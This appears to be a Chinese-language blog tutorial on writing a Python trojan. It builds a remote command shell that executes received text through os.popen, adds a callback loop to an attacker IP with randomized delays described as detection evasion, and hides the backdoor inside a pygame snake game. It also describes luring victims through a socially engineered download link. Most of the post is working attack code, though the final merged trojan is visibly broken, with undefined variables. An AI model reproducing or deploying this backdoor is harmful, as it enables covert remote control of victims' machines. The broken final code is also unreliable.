客户端渗透测试练习(part1:客户端攻击篇1)

#0:回顾

之前我们发现了很多服务器上的漏洞,但是,我们不一定要使用这些漏洞进行攻击,我们也可以自己开发攻击程序。

PS:这篇文章之后的所有代码均会带有一定的攻击性,请在受自己控制的主机上进行编写和测试,如在未经别人允许的情况使用别人的主机进行测试而对别人的信息造成泄露或损坏的,本人概不负责。

#1:准备阶段

在攻击计算机上安装Python。

这里笔者使用Python3.8。

#2:开发服务端(测试版)

新建一个Python文件,命名为exploit.py,内容如下

import socket
import os

host='127.0.0.1'
port=8080
web=socket.socket()
web.bind((host,port))
web.listen(1)
conn,addr=web.accept()while True:
    data=conn.recv(1024)
    if data.decode()=='exit':
        break
    f=os.popen(data.decode())
    d=f.read()
    conn.sendall(d.encode())
    f.close()
conn.close()
web.close()

这段代码的意思是处理客户端发送的字段,然后放在cmd中执行,最后把结果返回给客户端,其中客户端输入为exit时为退出连接。

host和port变量是可以自行设置的,但是最好不要将port设置为25、80、443、8080之外的端口,因为会被安全软件过滤掉(笔者最开始设置的是1234端口,结果怎么也收不到请求,查看安全软件的日志之后才发现全部被拦截了)。

#3:开发客户端(测试版)

新建一个Python文件,命名为client.py,内容如下

import socket

host='127.0.0.1'
port=8080
s=socket.socket()
s.connect((host,port))
while True:
    send=input('exploit >')
    s.sendall(send.encode())
    if send=='exit':
        break
    r=s.recv(1024)
    print(r.decode())
s.close()

这段代码就是接受输入,发送给服务端,然后接受服务端的结果并进行显示,类似于一个远程操作端。其中的host和port要于上面exploit.py设置的一样。

在cmd中先运行exploit.py然后运行cilent.py,在cilent.py的窗口中输入cmd的指令,就能得到相应的结果(但是最好别输入不存在的指令,因为我在测试的时候发现这种情况会导致服务端无响应,不知道为什么)。

#4:进行实际测试

打开新建文档页面,新建一个名称为exploit,类型为py,标题随意,正文为exploit.py的内容的文档,提交保存。

然后再新建一个名称随意,类型为txt,标题随意(最好使用社会工程学的一些东西),正文随意(同前),但是在正文中加上这样一个链接

<a href="exploit.py">下载</a>

然后我们访问该网页,模拟一个相信宣传的人并下载文件,然后在计算机上运行。

然后我们运行cilent.py,并执行ipconfig命令,进行测试,如果没有意外,我们会收到下载文件的主机的IP信息。

但是,我们怎么知道该什么时候打开cilent.py呢,所以应该做一些更改。

#5:开发服务端(升级版)

之前的服务端只是打开端口并等待连接,而我们作为攻击者并不知道何时服务端处于打开状态,所以我们在重新将服务端和客户端升级一下,让服务端在启动时能够自动发送一个回连到客户端的请求,如果没有响应则每隔20-40秒(规避检测)发送一次请求,而客户端能够在接收到服务端请求之后便发送一个响应,并建立连接。

修改服务端程序如下

import socket
import os
import time
import random

host=socket.gethostbyname(socket.gethostname())
port=8080
rhost='192.168.XXX.XXX'#这里应该为攻击主机的IP
rport=8080
s=socket.socket()
while True:
    try:
        s.connect((rhost,rport))
        send='Ready!'
        try:
            s.sendall(send.encode())
            r=s.recv(1024)
            if r.decode()=='Ready!':
                try:
                    s.sendall(str(host).encode())
                    r=s.recv(1024)
                    if r.decode()=='OK!':
                        s.close()
                        break
                    else:
                        pass
                except:
                    time.sleep(30+random.randint(-10,10))continue
            else:
                continue
        except:
            time.sleep(30+random.randint(-10,10))continue
    except:
        time.sleep(1)

web=socket.socket()
web.bind((host,port))
web.listen(1)
conn,addr=web.accept()
while True:
    data=conn.recv(1024)
    if data.decode()=='exit':
        break
    f=os.popen(data.decode())
    d=f.read()
    conn.sendall(d.encode())
    f.close()
conn.close()
web.close()

#6:开发客户端(升级版)

然后修改客户端程序内容如下

import socket

def checkip(ip):
    if '.' not in ip:
        return False
    elif ip.count('.')!=3:
        return False
    else:
        flag=True
        ip=ip.split('.')
        for o in ip:
            try:
                on=int(o)
                if on>=0 and on<=255:
                    pass
                else:
                    flag=False
            except:
                flag=False
        return flag

host='192.168.XXX.XXX'#此处应为攻击主机IP
port=8080
web=socket.socket()
web.bind((host,port))
web.listen(1)
conn,addr=web.accept()
while True:
    data=conn.recv(1024)
    if data.decode()=='Ready!':
        try:
            conn.sendall(data)
            data=conn.recv(1024)
            if checkip(data.decode()):
                try:
                    d='OK!'
                    rhost=data.decode()
                    rport=8080
                    conn.sendall(d.encode())
                    conn.close()
                    web.close()
                    print('Ready,IP:'+str(rhost))
                    break
                except:
                    pass
        except:
            pass
    else:
        pass

s=socket.socket()
s.connect((rhost,rport))
while True:
    send=input('exploit >')
    s.sendall(send.encode())
    if send=='exit':
        break
    r=s.recv(1024)
    print(r.decode())
s.close()

这样就可以让服务端在启动之后就尝试回连,然后两者建立连接后再进行操作了。

#7:开发服务端(完整版)

如果只是一个没有什么用的(因为下载服务端的人什么输出都看不到)程序,那么没人会下,所以我们增加一些实用性的东西,然后把上面的攻击代码镶嵌在里面,就可以伪装成正常的程序,然后偷偷执行一些代码了。

这里我们使用一个简单的贪吃蛇游戏(也是笔者自己写的),来进行伪装。

修改服务端程序如下

import time
import random
import pygame
from pygame.locals import *

pygame.init()

screencaption = pygame.display.set_caption('snake')
screen = pygame.display.set_mode((600,500))
w=59
h=49
speed=20
score=0
direction=[-1,0]
size=10,10
dead=False
snake_lst=[[30,25],[31,25],[32,25]]
f_x=random.randint(0,59)
f_y=random.randint(0,49)
f_pos=[f_x,f_y]
f=True

while True:
    for event in pygame.event.get():
        if event.type == pygame.QUIT:
            pygame.quit()
            exit()
        elif event.type == KEYDOWN:
            if event.key==K_LEFT:
                direction=[-1,0]
            elif event.key==K_RIGHT:
                direction=[1,0]
            elif event.key==K_UP:
                direction=[0,-1]
            elif event.key==K_DOWN:
                direction=[0,1]
    screen.fill((255,255,255))

    while f==False or f_pos in snake_lst:
        f_x=random.randint(0,59)
        f_y=random.randint(0,49)
        f_pos=[f_x,f_y]
        f=True
    
    head=snake_lst[0]
    new_x=head[0]+direction[0]
    new_y=head[1]+direction[1]
    if (not [new_x,new_y] in snake_lst) and 0<=head[0]<59 and 0<=head[1]<49: 
        snake_lst.insert(0,[new_x,new_y])
        if [new_x,new_y]==f_pos:
            f=False
            score+=1
        else:
            snake_lst.pop()
    else:
        dead=True
        myfont = pygame.font.Font(None,100)
        font_color=10,10,10
        text = 'Game Over:('
        textImage = myfont.render(text,True,font_color)
        screen.blit(textImage,(100,100))
    if score==10:
        speed/=2
        score=0
    if not dead:
        for i in range(w):
            for j in range(h):
                color=(251,251,251) if [i,j] in snake_lst else ((245,34,45) if [i,j]==f_pos and f==True else (90,90,90))
                pos=i*10,j*10
                pygame.draw.rect(screen,color,Rect(pos,size))
    pygame.display.update()
    time.sleep(speed/400)

尝试运行,应该能够得到一个贪吃蛇游戏。然后,我们把之前的服务端程序加上,完整版服务端程序如下:

import socket
import os
import time
import random
import pygame
from pygame.locals import *

pygame.init()

screencaption = pygame.display.set_caption('snake')
screen = pygame.display.set_mode((600,500))
w=59
h=49
speed=20
score=0
direction=[-1,0]
size=10,10
dead=False
snake_lst=[[30,25],[31,25],[32,25]]
f_x=random.randint(0,59)
f_y=random.randint(0,49)
f_pos=[f_x,f_y]
f=True

while True:
    for event in pygame.event.get():
        if event.type == pygame.QUIT:
            pygame.quit()
            exit()
        elif event.type == KEYDOWN:
            if event.key==K_LEFT:
                direction=[-1,0]
            elif event.key==K_RIGHT:
                direction=[1,0]
            elif event.key==K_UP:
                direction=[0,-1]
            elif event.key==K_DOWN:
                direction=[0,1]
    screen.fill((255,255,255))

    while f==False or f_pos in snake_lst:
        f_x=random.randint(0,59)
        f_y=random.randint(0,49)
        f_pos=[f_x,f_y]
        f=True
    
    head=snake_lst[0]
    new_x=head[0]+direction[0]
    new_y=head[1]+direction[1]
    if (not [new_x,new_y] in snake_lst) and 0<=head[0]<59 and 0<=head[1]<49: 
        snake_lst.insert(0,[new_x,new_y])
        if [new_x,new_y]==f_pos:
            f=False
            score+=1
        else:
            snake_lst.pop()
    else:
        dead=True
        myfont = pygame.font.Font(None,100)
        font_color=10,10,10
        text = 'Game Over:('
        textImage = myfont.render(text,True,font_color)
        screen.blit(textImage,(100,100))
    if score==10:
        speed/=2
        score=0
    if not dead:
        for i in range(w):
            for j in range(h):
                color=(251,251,251) if [i,j] in snake_lst else ((245,34,45) if [i,j]==f_pos and f==True else (90,90,90))
                pos=i*10,j*10
                pygame.draw.rect(screen,color,Rect(pos,size))
    pygame.display.update()
    time.sleep(speed/400)
    try:
        s.connect((rhost,rport))
        send='Ready!'
        try:
            s.sendall(send.encode())
            r=s.recv(1024)
            if r.decode()=='Ready!':
                try:
                    s.sendall(str(host).encode())
                    r=s.recv(1024)
                    if r.decode()=='OK!':
                        s.close()
                        break
                    else:
                        pass
                except:
                    time.sleep(30+random.randint(-10,10))continue
            else:
                continue
        except:
            time.sleep(30+random.randint(-10,10))continue
    except:
        time.sleep(1)

然后我们得到了一个可以在目标主机上执行任意代码的exploit,而且还是我们自己开发的。

posted @ 2021-03-11 22:05  awcyvan  阅读(306)  评论(0编辑  收藏  举报